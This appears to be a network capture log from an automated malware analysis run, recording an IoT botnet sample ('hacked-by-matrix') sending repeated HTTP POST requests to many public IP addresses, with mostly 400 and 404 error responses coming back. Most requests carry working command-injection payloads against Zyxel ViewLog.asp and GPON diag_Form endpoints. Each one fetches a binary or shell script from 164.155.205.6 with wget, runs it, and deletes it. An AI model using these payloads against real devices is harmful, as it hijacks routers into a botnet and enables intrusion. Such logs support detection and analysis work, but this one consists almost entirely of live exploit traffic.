Mar 2, 2024 12:38:46.347657919 CET	359	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Sat, 02 Mar 2024 11:38:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 38 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 19 9a e8 19 28 68 84 26 95 e6 95 94 6a 22 ab d5 07 d9 06 32 5d 1f ea 52 00 98 e9 56 70 b2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8d(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU(h&j"2]RVp0
Mar 2, 2024 12:38:46.347707033 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Sat, 02 Mar 2024 11:38:46 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 2, 2024 12:38:46.719588995 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Sat, 02 Mar 2024 11:38:46 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1685	192.168.2.23	35686	80.95.140.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.198971987 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1686	192.168.2.23	55940	200.214.233.97	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.226092100 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1687	192.168.2.23	57008	181.114.99.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.227513075 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:46.452048063 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:45 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1688	192.168.2.23	46186	42.178.53.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282269001 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1689	192.168.2.23	47508	79.220.13.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282273054 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1690	192.168.2.23	60008	37.54.223.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282303095 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1691	192.168.2.23	56518	212.27.17.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282303095 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1692	192.168.2.23	56184	2.188.242.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282380104 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1693	192.168.2.23	33142	94.23.147.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282396078 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1694	192.168.2.23	45048	79.213.202.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282413960 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1695	192.168.2.23	46066	109.117.101.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282484055 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1696	192.168.2.23	40332	5.87.134.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282502890 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1697	192.168.2.23	38544	42.238.147.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.282538891 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1698	192.168.2.23	46974	178.22.59.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:46.347855091 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:46.581738949 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:47.129501104 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:47.298333883 CET	321	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 02 Mar 2024 11:38:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 2, 2024 12:38:47.298399925 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
